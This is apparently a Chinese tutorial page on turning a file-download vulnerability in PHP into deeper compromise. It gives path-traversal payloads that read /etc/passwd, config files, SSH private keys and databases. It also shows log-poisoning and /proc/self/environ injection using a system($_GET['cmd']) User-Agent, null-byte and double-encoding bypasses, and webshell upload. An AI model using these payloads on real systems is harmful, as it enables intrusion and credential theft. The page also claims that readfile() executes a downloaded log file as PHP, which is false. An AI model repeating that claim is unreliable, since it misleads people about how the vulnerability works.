如果审计到了一个文件下载漏洞如何深入的去利用

1. 确认与初步利用

首先,要确认这是一个真正的文件下载漏洞,而不是一个伪装的假象。通常,漏洞代码看起来是这样的:

<?php
// ...
$file = $_GET['file'];
$path = "/var/www/html/downloads/" . $file;
if (file_exists($path)) {
    header("Content-Type: application/octet-stream");
    readfile($path);
} else {
    echo "File not found.";
}
// ...
?>

这里的关键在于 $file = $_GET['file']; 这行代码没有对用户输入进行任何过滤

初步利用方式:

  • 路径遍历(Path Traversal): 尝试使用 ../ 来向上跳目录,下载服务器上的敏感文件
    • Payload: ?file=../../../../etc/passwd
    • 目的: 验证漏洞是否存在,并尝试下载系统敏感文件,如 /etc/passwd(Linux 用户列表)或 C:\Windows\System32\drivers\etc\hosts(Windows 主机文件)
  • 下载源码: 尝试下载网站的 PHP 源代码文件。
    • Payload: ?file=../../../../var/www/html/index.php?file=../../../../var/www/html/config.php
    • 目的: 获取网站的数据库连接信息、API密钥或其他硬编码的凭据,为下一步攻击做准备

2. 深入利用:组合攻击

如果仅仅是下载文件,漏洞的危害有限。但如果将它与其他漏洞或服务器配置问题结合起来,它的威力会成倍增加。

场景一:与日志文件结合

如果服务器的 Web 日志文件可以被下载,而你又可以向日志中写入数据,那么这个文件下载漏洞就可能变成一个远程代码执行漏洞

利用步骤:

  1. 向日志中写入恶意 PHP 代码:
    • 通常,Web 服务器(如 Apache)会记录用户的 User-Agent、Referer 等 HTTP 头信息
    • 将你的 User-Agent 设置为包含恶意 PHP 代码,例如:<?php system('ls -al'); ?>
    • Payload: User-Agent: <?php system($_GET['cmd']); ?>
    • 通过访问一个不存在的页面来触发日志记录
  2. 利用文件下载漏洞下载并执行日志文件:
    • 找到日志文件的路径。通常位于 /var/log/apache2/access.log/var/log/httpd/access_log
    • Payload: ?file=../../../../var/log/apache2/access.log
    • 当服务器执行 readfile() 函数时,它会将日志文件作为 PHP 代码来解析并执行
    • 执行命令: 你的浏览器现在会显示 ls -al 命令的输出
  3. 最终利用:
    • 现在你可以通过在URL中添加 &cmd=... 来执行任意命令
    • Payload: ?file=../../../../var/log/apache2/access.log&cmd=id
    • 你可以通过这个方式上传一个WebShell,从而完全控制服务器

场景二:与本地文件包含(LFI)漏洞结合

如果目标服务器存在本地文件包含漏洞,但你不知道路径或无法直接利用,文件下载漏洞可以帮助你获取更多信息

利用步骤:

  1. 使用文件下载漏洞下载 PHPinfo 文件
    • 找到服务器上的一个 phpinfo() 文件(如果有的话)
    • Payload: ?file=../../../../var/www/html/info.php
    • 目的: phpinfo() 页面会暴露大量敏感信息,包括服务器的配置、环境变量、安装的模块等,这些信息可以帮助你找到新的攻击面
  2. 利用 LFI 漏洞包含敏感文件:
    • 如果你发现了一个可以包含文件的漏洞,但是无法直接包含日志文件
    • 你可以先利用文件下载漏洞,下载服务器上的/proc/self/environ文件。这个文件通常包含进程的环境变量,包括你之前设置的 User-Agent
    • 然后,利用LFI漏洞去包含 /proc/self/environ,从而执行你注入到 User-Agent 中的代码

3. 利用思路的扩展

除了上述两种常见的组合攻击,你还可以尝试以下利用方式:

  • 下载 SSH 密钥: 如果服务器启用了SSH,你可以尝试下载用户的 SSH 密钥
    • Payload: ?file=../../../../home/user/.ssh/id_rsa
    • 目的: 使用密钥直接登录服务器,获取 Shell 权限
  • 下载数据库文件:
    • 对于 SQLite 等数据库,其数据存储在文件中
    • Payload: ?file=../../../../var/www/html/database/db.sqlite
    • 目的: 获取整个数据库的内容,包括用户密码(如果未加密)、个人信息等
  • 绕过防御:
    • 如果开发者对 ../ 进行了过滤,可以尝试双重编码 ..%252f 或其他编码方式来绕过
    • 如果路径是硬编码的,例如 downloads/,尝试使用空字节 %00 来截断路径
    • Payload: ?file=../../../../etc/passwd%00
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:13:02

results matching ""

    No results matching ""